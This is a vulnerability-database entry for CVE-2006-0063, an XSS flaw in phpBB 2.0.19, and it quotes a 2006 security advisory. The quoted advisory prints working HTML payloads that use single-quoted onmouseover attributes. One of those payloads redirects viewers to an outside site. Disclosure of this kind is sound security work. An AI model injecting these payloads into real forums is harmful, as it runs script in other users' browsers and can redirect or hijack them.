phpBB 跨站脚本攻击漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1196437 漏洞类型 跨站脚本
发布时间 2006-01-05 更新时间 2006-01-05
CVE编号 CVE-2006-0063 CNNVD-ID CNNVD-200601-028
漏洞平台 N/A CVSS评分 4.3
|漏洞来源
https://www.securityfocus.com/bid/86946
https://cxsecurity.com/issue/WLB-2006010003
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200601-028
|漏洞详情
phpBB2.0.19中存在跨站脚本攻击漏洞,在启用"允许的HTML标记"时,远程攻击者可以通过具有'(单引号)字符和活动属性(如onmouseover)的允许的HTML标记注入任意Web脚本或HTML.
|漏洞EXP
[phpBB 2.0.19 XSS]

Author: Maksymilian Arciemowicz
Date: 6.1.2006
CVE : CVE-2006-0063

- --- 0.Description ---
phpBB is a high powered, fully scalable, and highly customizable Open Source bulletin board package. phpBB has a user-friendly interface, simple and straightforward administration panel, and helpful FAQ. Based on the powerful PHP server language and your choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers, phpBB is the ideal free community solution for all web sites.
Contact with author http://www.phpbb.com/about.php.

- --- 1. XSS ---
If in phpbb is Allowed HTML tags "ON" like b,i,u,pre and have you in profile "Always allow HTML: YES" or are you Guest

This issue is in phpBB 2.0.19 .
Some Details :
Old exploit for x <= 2.0.18 was (http://cxsecurity.com/research/2) :
<B C=">" onmouseover="alert('cxsecurity.com')" X="<B "> H E L O </B>
 
New exploit for x <= 2.0.19 is :
<B C='>' onmouseover='alert("cxsecurity.com")' X='<B '> cxsecurity.com </B>
 
The exploits are simillar but not the same ! As you can notice the " is replaced to '
In new version phpBB they only filter " but not '

that you can use this tags:

<B C='>' onmouseover='alert("cxsecurity.com")' X='<B '> cxsecurity.com </B>

Exploit:

<B C='>' onmouseover='alert(document.location="http://SecurityReason.Com")' X='<B '> SecurityReason.Com </B>


- ---
Note :

According to http://www.phpbb.com/phpBB/viewtopic.php?t=352966
[Sec] fixed XSS issue (only valid for Internet Explorer) within the url bbcode 
[Sec] fixed XSS issue (only valid for Internet Explorer) if html tags are allowed and enabled 

We have reported this bug to phpbb bugtraq and:

phpBB Team respone :
- --------------------
...
we do not intended to fix the previous issue in 2.0.19 (it was just preventing it by the quote change, which was good - but we intended this change
because of other forseeable issues) - and i do not intend to fix this one. HTML is and was always "bad" and has been stated as being
able to be entered "as is". In olympus we will therefore remove html support completely
...
- --------------------


So Solusion is:

phpBB Team respone :
- -------------------
I already said we will fix it in CVS but do not see the need to release a new version immediatly. 
- -------------------

So there is no fix for this .
Only way to protect is :

Allow HTML = Off


- --- 2.Contact ---
Author: Maksymilian Arciemowicz
|受影响的产品
phpBB Group phpBB 2.0.19
|参考资料

来源:SREASON
名称:313
链接:http://securityreason.com/securityalert/313
来源:SREASONRES
名称:20060105phpBB2.0.19XSS
链接:http://securityreason.com/achievement_securityalert/30
来源:OSVDB
名称:22672
链接:http://www.osvdb.org/22672
来源:VUPEN
名称:ADV-2006-0051
链接:http://www.frsirt.com/english/advisories/2006/0051